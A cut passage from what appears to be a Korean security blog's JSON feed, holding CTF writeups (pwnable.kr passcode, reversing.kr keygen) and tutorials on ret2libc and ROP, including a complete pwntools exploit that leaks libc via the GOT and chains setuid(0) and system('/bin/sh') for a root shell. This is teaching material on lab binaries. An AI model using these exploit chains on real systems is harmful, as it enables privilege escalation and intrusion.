class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003epasscode2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;enter passcode1 : \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003epasscode1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003efflush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// ha! mommy told me that 32bit is vulnerable to bruteforcing :)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;enter passcode2 : \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003epasscode2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;checking...\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epasscode1\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e338150\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003epasscode2\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e13371337\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Login OK!\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003esystem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;/bin/cat flag\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Login Failed!\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ewelcome\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;enter you name : \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%100s\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Welcome %s!\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Toddler\u0026#39;s Secure Login System 1.0 beta.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003ewelcome\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003elogin\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// something after login...\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Now I can safely trust you that you have credential :)\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e코드를 보면 \u003ccode\u003escanf()\u003c/code\u003e 에 주소 연산자가 누락되어있어 두 \u003ccode\u003epasscode\u003c/code\u003e 변수는 입력을 받을 수 있는 상황이 아닙니다.\u003c/p\u003e","title":"pwnable.kr passcode Writeup"},{"content":"이번 문제는 간단한 키젠을 제작하는 문제입니다.\n문제 설명을 보면 시리얼 키가 5B134977135E7D13 일때의 name 을 찾아달라고 합니다.\n분석 도중 입력 받은 name 에 대해 조건에 따라 xor 연산을 반복하는 부분을 보았습니다.\n.text:00401000 var_130 = byte ptr -130h .text:00401000 var_12F = byte ptr -12Fh .text:00401000 var_12E = byte ptr -12Eh .text:00401038 mov [esp+140h+var_130], 10h .text:0040103D mov [esp+140h+var_12F], 20h .text:00401042 mov [esp+140h+var_12E], 30h var_130 은 0x10, 0x20, 0x30 세 값을 순환하며 name 배열의 각 바이트와 순차적으로 xor 연산을 수행합니다.\nvar_130 은 key 라고 칭하고 C 로 표현해보자면 name[i] ^ key[i % 3] 이렇게 됩니다.\n그리고 xor 연산의 결과물인 var_C8 은 입력받은 시리얼 키와 비교된 뒤 Correct! 또는 Wrong 을 출력하게 됩니다.\n이런 xor 연산의 특징으로는 A, B, C 가 있고 A ^ B = C 가 성립한다면 2개의 값을 알고 있는경우 나머지 하나의 값도 알아낼 수 있습니다.\n그렇다면 name 이 \u0026ldquo;aaaa\u0026rdquo; 일때 serial 은 71415171 이어야 합니다.\n\u0026ldquo;aaaa\u0026rdquo; 를 넣고 분석한 내용이 맞는지 확인해보겠습니다.\nZF 를 보면 Correct! 가 출력되었습니다.\n이제 제공된 시리얼에 대응하는 이름을 찾아보겠습니다. key 와 serial 을 알고 있으니 서로 xor 연산을 수행하면 name 이 튀어나옵니다.\nserial = \u0026#39;5B134977135E7D13\u0026#39; key = [0x10, 0x20, 0x30] raw = bytes.fromhex(serial) print(\u0026#34;\u0026#34;.join(chr(b ^ key[i % 3]) for i, b in enumerate(raw))) 읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2020-03-04-reversing-kr-easy-keygen-writeup/","summary":"\u003cp\u003e이번 문제는 간단한 키젠을 제작하는 문제입니다.\u003c/p\u003e\n\u003cp\u003e문제 설명을 보면 시리얼 키가 \u003ccode\u003e5B134977135E7D13\u003c/code\u003e 일때의 name 을 찾아달라고 합니다.\u003c/p\u003e\n\u003cp\u003e분석 도중 입력 받은 name 에 대해 조건에 따라 xor 연산을 반복하는 부분을 보았습니다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e.text:00401000 var_130         = byte ptr -130h\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e.text:00401000 var_12F         = byte ptr -12Fh\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e.text:00401000 var_12E         = byte ptr -12Eh\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e.text:00401038                 mov     [esp+140h+var_130], 10h\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e.text:0040103D                 mov     [esp+140h+var_12F], 20h\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e.text:00401042                 mov     [esp+140h+var_12E], 30h\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/2020-03-04-reversing-kr-easy-keygen-writeup/images/reversing-kr-easy-keygen-writeup-f9b4ac1b.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003evar_130\u003c/code\u003e 은 \u003ccode\u003e0x10\u003c/code\u003e, \u003ccode\u003e0x20\u003c/code\u003e, \u003ccode\u003e0x30\u003c/code\u003e 세 값을 순환하며 \u003ccode\u003ename\u003c/code\u003e 배열의 각 바이트와 순차적으로 xor 연산을 수행합니다.\u003c/p\u003e","title":"reversing.kr Easy Keygen Writeup"},{"content":"저번 글에서는 ASLR이 비활성화된 환경에서 ret2libc 기법과 권한상승을 위한 ROP 개념을 다뤘었습니다.\n하지만 현대적 시스템에서는 ASLR 이 기본적으로 활성화 되어있어 다음 실행 때 라이브러리의 주소를 정확히 \u0026ldquo;예측\u0026ldquo;하기는 어렵습니다. 물론 32비트에서 조건에 따라 브루트포스가 가능하긴 합니다.\n그래서 이번 글에서는 동적 링킹 메커니즘을 이용해 libc leak 을 일으켜 ASLR/DEP 가 활성화 되어있는 환경에서도 exploit 을 성공시키는 방법에 대해 알아보겠습니다.\n한가지 팁은 gdb 는 편리한 디버깅을 위해 ASLR 비활성화가 기본이라 실제 환경과 똑같이 만들려면 따로 커멘드를 쳐야 합니다.\ngdb\u0026gt; set disable-randomization off 이번 예제에선 vuln() 내부에서 write() 와 read() 를 사용한다고 가정하고 buf 에서 오버플로가 발생한다고 가정해보겠습니다.\n/* $ gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -no-pie $ cat /proc/sys/kernel/randomize_va_space # 2 Kernel: 4.19.0-6-amd64 x86_64 | gcc: 8.3.0 Checksec: Partial RELRO | No canary found | NX enabled | No PIE */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; void vuln() { char buf[32]; write(1, \u0026#34;\u0026#34;, 0); read(0, buf, 128); } int main() { vuln(); return 0; } 저번과는 달리 ASLR 이 걸려있기 때문에 라이브러리 주소를 ret 에 다이렉트로 쓰는 방식은 통하지 않습니다.\n그럼 어떻게 해야 할까요? 일단 동적 링킹의 메커니즘에 대해 알아야 합니다.\n동적 링킹은 lazy binding 을 수행하기 때문에 PLT 와 GOT 영역이 존재합니다.\nPLT 는 첫 호출 시 _dl_runtime_resolve 를 호출해 실제 함수 주소를 GOT 에 써넣고, 이후부터는 GOT 에 저장된 주소로 바로 점프하는 역할을 합니다.\n현재 ASLR 은 걸려있지만 PIE 가 비활성화된 상태이므로 PLT, GOT 를 포함한 바이너리 자체의 주소는 고정입니다.\n그러니 write() 로 특정 함수의 GOT 에 담긴 주소를 leak 하는것이 가능합니다.\nGOT 에 담긴 주소가 첫 호출 이후에 어떻게 변하는지 한번 보겠습니다. hexview 에서 하이라이팅 된 부분이 write@got.plt 입니다.\n제가 따로 사진을 찍진 못했지만, write@plt 첫 호출 이전엔 resolver(write@plt+6) 의 주소를 가르키던 write@got.plt 가 호출 이후엔 libc 의 실제 함수 주소를 가집니다.\n이번 예제에선 read(), write() 를 사용하니까 write(1, write@got.plt, 4) 로 write() 의 실제 주소를 출력하게 만들면 됩니다.\nwrite@plt 는 0x080483A0 에, write@got.plt 는 0X0804A018 에 위치해 있네요.\ncdecl 호출 규약에 따라 caller 가 스택을 정리해야 하니 pop 이 인자 갯수 만큼 필요합니다. 현재 인자가 3개 넘어가니 pop; pop; pop; ret 가젯이 필요합니다.\nandrew@ubuntu:~/fun/tech/rop$ rp -f ./a.out -r 3 | grep \u0026#34;pop esi\u0026#34; 0x08048579: pop esi ; pop edi ; pop ebp ; ret ; (1 found) 이제 첫번째 페이로드를 작성해 보겠습니다.\n+--------+-------+---------------------------+ | offset | stack | payload | +--------+-------+---------------------------+ | 00 | buf | DUMMY | | 32 | ebp | DUMMY | | 36 | ret | write@plt (0x080483A0) | | 40 | | pppr (0x08048579) | | 44 | arg1 | 0x01 (stdout) | | 48 | arg2 | write@got (0X0804A018) | | 52 | arg3 | 0x04 | +--------+-------+---------------------------+ leak 이 잘되네요. write() 의 실제 주소는 0xf7688b70 입니다.\nASLR 은 라이브러리를 랜덤한 주소에 매핑하지만 라이브러리 내부의 함수들 간의 오프셋은 항상 동일합니다. 그러니 libc base 를 계산하면 원하는 함수를 호출할 수 있습니다.\nwrite() 의 실제 주소와 libc 의 .text 영역간의 오프셋을 계산하면 libc base 주소가 나옵니다.\n저는 권한 상승된 쉘 획득을 원하니까 system() 과 setuid() 의 오프셋을 얻어보겠습니다.\n(gdb) x/x 0x804a018 0x804a018: 0xf7666b70 (gdb) p/x 0xf7666b70 - 0xf75a8750 $1 = 0xbe420 (gdb) p/x system - 0xf75a8750 $2 = 0x23650 (gdb) p/x setuid - 0xf75a8750 $3 = 0x99b90 (gdb) leak 된 주소로부터 libc base 를 구했고 system() 과 setuid() 의 오프셋을 구했습니다.\n이제 필요한 정보는 어느정도 모았습니다.\n익스플로잇을 작성해보겠습니다. 이번 예제에서 사용한 read() write() 는 바이너리 데이터를 다룰 때도 사용하니까 저번처럼 gets() 를 사용한 null 우회가 필요 없습니다.\n저번 글과 중복되는 설명은 생략하겠습니다. 주석에 설명을 해놨으니 익스 읽으실때 참고하시면 됩니다.\n#!/usr/bin/env python from pwn import * context.log_level = \u0026#39;debug\u0026#39; write_plt = 0x080483A0 read_plt = 0x08048370 vuln = 0x08049176 write_got = 0X0804A018 pppr = 0x08048579 pr = 0x0804901e # libc 오프셋 write_offset = 0x11f500 setuid_offset = 0x10b420 system_offset = 0x53cd0 binsh_offset = 0x1cae79 if args.REMOTE: p = remote(\u0026#39;localhost\u0026#39;, 9999) else: p = process(\u0026#39;./a.out\u0026#39;) # write@got leak 이후 vuln() 재호출 payload = b\u0026#39;a\u0026#39; * 40 payload += p32(write_plt) payload += p32(pppr) payload += p32(1) # fd payload += p32(write_got) # buf payload += p32(4) # count payload += p32(vuln) p.send(payload) # leak 된 주소 읽기 write_leaked = u32(p.recv(4)) log.info(\u0026#34;write@got: \u0026#34; + hexdump(write_leaked)) # 오프셋 계산 libc_base = write_leaked - write_offset setuid_addr = libc_base + setuid_offset system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset log.info(\u0026#34;text: \u0026#34; + hexdump(libc_base)) log.info(\u0026#34;setuid@got: \u0026#34; + hexdump(setuid_addr)) log.info(\u0026#34;system@got: \u0026#34; + hexdump(system_addr)) log.info(\u0026#34;/bin/sh: \u0026#34; + hexdump(binsh_addr)) # 재호출된 vuln() 에서 ret를 다시한번 덮어서 권한상승 + 쉘 획득 payload2 = b\u0026#39;B\u0026#39; * 40 payload2 += p32(setuid_addr) payload2 += p32(pr) payload2 += p32(0) payload2 += p32(system_addr) payload2 += b\u0026#39;aaaa\u0026#39; payload2 += p32(binsh_addr) p.send(payload2) p.interactive() 성공했습니다~\n여담으로 제가 개인적으로 애용하는 방법인데 익스 하다가 안되고 터질땐 socat 과 strace 를 활용하면 원격 환경 재현도 되고 원인을 빨리 찾는데 도움이 됩니다.\n$ socat TCP-LISTEN:9999,reuseaddr,fork EXEC:\u0026#34;strace -f ./a.out\u0026#34; 이렇게 해주시면 대회에서 제공하는 nc 느낌도 나고 프로세스가 호출하는 시스템콜을 직접적으로 볼 수 있고 어디서 터지는지도 볼수있습니다.\n근데 힙문제는 glibc 작동 메커니즘을 잘 알아야 하는거라 이걸론 찾기 어렵습니다.\n읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2019-10-23-bypassing-aslr-dep-via-rop-for-root-privilege-escalation/","summary":"\u003cp\u003e저번 글에서는 ASLR이 비활성화된 환경에서 ret2libc 기법과 권한상승을 위한 ROP 개념을 다뤘었습니다.\u003c/p\u003e\n\u003cp\u003e하지만 현대적 시스템에서는 ASLR 이 기본적으로 활성화 되어있어 다음 실행 때 라이브러리의 주소를 정확히 \u0026ldquo;\u003cstrong\u003e예측\u003c/strong\u003e\u0026ldquo;하기는 어렵습니다. 물론 32비트에서 조건에 따라 브루트포스가 가능하긴 합니다.\u003c/p\u003e\n\u003cp\u003e그래서 이번 글에서는 동적 링킹 메커니즘을 이용해 libc leak 을 일으켜 ASLR/DEP 가 활성화 되어있는 환경에서도 exploit 을 성공시키는 방법에 대해 알아보겠습니다.\u003c/p\u003e\n\u003cp\u003e한가지 팁은 gdb 는 편리한 디버깅을 위해 ASLR 비활성화가 기본이라 실제 환경과 똑같이 만들려면 따로 커멘드를 쳐야 합니다.\u003c/p\u003e","title":"Bypassing ASLR/DEP via ROP for Root Privilege Escalation"},{"content":"저번 ret2sc 와 달리 ret2libc 는 매핑된 외부 라이브러리 함수를 이용해 쉘을 실행하기 때문에 DEP 가 걸려있어도 유효한 기법입니다.\n만약 ASLR이 적용된 환경이라면 주소가 매번 변경되므로 주소 leak 과 오프셋 계산 과정이 추가적으로 들어가는데, 이 주제는 다음 글에서 다루도록 하겠습니다.\n이번에는 ret2libc 기법으로 쉘을 획득하고 ROP 기법으로 권한상승까지 해보겠습니다.\n저번과 똑같은 예제 코드지만 이번엔 스택 실행 권한이 없습니다.\n/* $ gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -no-pie $ cat /proc/sys/kernel/randomize_va_space # 0 Kernel: 4.4.0-142-generic x86_64 | gcc: 5.4.0 Checksec: Partial RELRO | No canary found | NX enabled | No PIE */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char **argv) { char buf[32]; strcpy(buf, *(argv + 1)); printf(\u0026#34;%s\u0026#34;, buf); } system() 이 호출이 가능한지 확인하기 위해 ret 영역을 system() 의 주소로 덮어보겠습니다.\n호출은 됐지만 적절한 인수를 넘겨 받지 못해 에러가 발생하였습니다.\n인수 전달 구조를 파악해야 하니 system() 내부에 BP 를 걸고 스택을 확인해보겠습니다.\nesp+0x8 은 이미 끝난 main() 의 ret 이고, esp+0x0c 는 system() 의 ret 입니다. 그리고 esp+0x10 이 system() 의 인자 주소 영역입니다.\n즉, 현재 스택이 0x0c 밀려있으니 각 주소들의 위치를 보면 페이로드는\n36 bytes + system() + 4 bytes + \u0026#34;/bin/sh\u0026#34; 이런 형태가 되어야 합니다.\n그런데 \u0026quot;/bin/sh\u0026quot; 문자열의 주소를 어떻게 전달해야 할까요?\n물론 스택에 넣고 그 주소를 쓰는 것도 방법이지만, 이전 ret2sc 기법에서 쉘코드의 시작 주소를 정확히 찍기가 어려워 nop slide 를 추가했던 것을 생각하면 좋은 방법은 아닙니다.\n여기서 좋은 방법이 있습니다.\n현재 환경은 ASLR 이 비활성화된 환경이라 라이브러리가 모든 프로세스에서 동일한 주소에 매핑됩니다.\n두 사진은 서로 다른 프로세스임에도 libc 가 동일한 주소에 매핑되어 있는데 ASLR이 비활성화 되어있어 그렇습니다.\n매핑된 /lib32/libc.so.6 의 코드 세그먼트에는 \u0026quot;/bin/sh\u0026quot; 문자열을 사용하는 곳이 있는데, 해당 문자열의 메모리 주소를 찾는 코드를 작성해보겠습니다.\n#include \u0026lt;stdio.h\u0026gt; int main() { char *v0 = (long *)0xf7e2b750; while(memcmp(\u0026#34;/bin/sh\u0026#34;, v0, 8))v0++; printf(\u0026#34;%p\u0026#34;, v0); } 실행 결과, 0xf7f6d02b 에 \u0026quot;/bin/sh\u0026quot; 문자열이 존재합니다.\n이전에 언급했던 페이로드 구조 대로 실행때 인수로 넘겨보겠습니다.\n쉘은 정상적으로 획득했고 여기까지가 ret2libc 입니다. 지금부터 여기에 ROP 개념을 더해 권한 상승을 시도해보겠습니다.\n지금까지는 함수를 하나만 호출했지만, setuid() 로 권한을 상승한 뒤 system() 으로 쉘을 실행하려면 함수를 연속으로 호출해야 합니다.\n이때 앞 함수의 인자를 스택에서 정리하고 다음 함수로 넘어가야 하는데, setuid() 는 인자가 1개이므로 pop; ret 가젯을 ret 에 넣어주면 스택을 정리하고 깔끔하게 다음 함수로 넘어갈 수 있습니다.\n여담으로 ROP 는 단순 함수 체이닝 외에도 가젯을 조합해 레지스터를 원하는 값으로 맞출 수 있고, sigcontext 구조체에 맞춰 sigreturn 시스템콜을 호출해 eip 를 포함한 모든 레지스터를 원하는 대로 셋팅할 수도 있습니다.\n이제 본론으로 돌아와서 권한상승을 목표로 ROP 를 해보겠습니다.\nsetuid() 는 uid 를 인수로 받는데, root 의 uid 는 0 이라 페이로드에 포함되면 strcpy() 가 그 지점에서 복사를 멈춰버립니다. 이를 우회하기 위해 gets() 를 활용할 수 있습니다.\ngets() 는 아무 입력 없이 엔터만 누르면 dest 에 null 을 씁니다. dest 주소를 1바이트씩 증가시키며 gets() 를 4번 호출하면 4바이트 공간을 통째로 null 로 채울 수 있습니다.\n테스트 삼아 0xffffd664 의 1바이트를 gets 호출로 null 로 덮어보겠습니다.\n예상대로 0xf7fedff0 에서 0xf7fedf00 으로 값이 변경되었습니다.\n페이로드는 gets() 를 4번 호출해 setuid 의 인수를 0x00000000 으로 덮은 뒤 setuid(0), system(\u0026quot;/bin/sh\u0026quot;) 순으로 호출하도록 만들면 됩니다.\n+--------+-------+------------------------+ | offset | stack | payload | +--------+-------+------------------------+ | 00 | buf | | | 32 | ebp | ~DUMMY | | 36 | ret | gets (0xf7e76890) | | 40 | argc | pop; ret; | | 44 | argv | dest + 0 | | 48 | ? | gets (0xf7e76890) | | 52 | ? | pop; ret; | | 56 | arg1 | dest + 1 | | 60 | ? | gets (0xf7e76890) | | 64 | ? | pop; ret; | | 68 | arg1 | dest + 2 | | 72 | ? | gets (0xf7e76890) | | 76 | ? | pop; ret; | | 80 | arg1 | dest + 3 | | 84 | ? | setuid (0xf7ec8060) | | 88 | ? | pop; ret; | | 92 | arg1 | 0x61*4 -\u0026gt; 0x00*4 | | 94 | ? | system (0xf7e52940) | | 98 | ? | DUMMY | | 102 | arg1 | \u0026#34;/bin/sh\u0026#34; (0xf7f7102b) | | 106 | ? | ~DUMMY | | 156 | ? | | +--------+-------+------------------------+ 체이닝에 필요한 주소를 얻어보겠습니다\n필요한 모든 주소를 구했으니 페이로드를 작성해 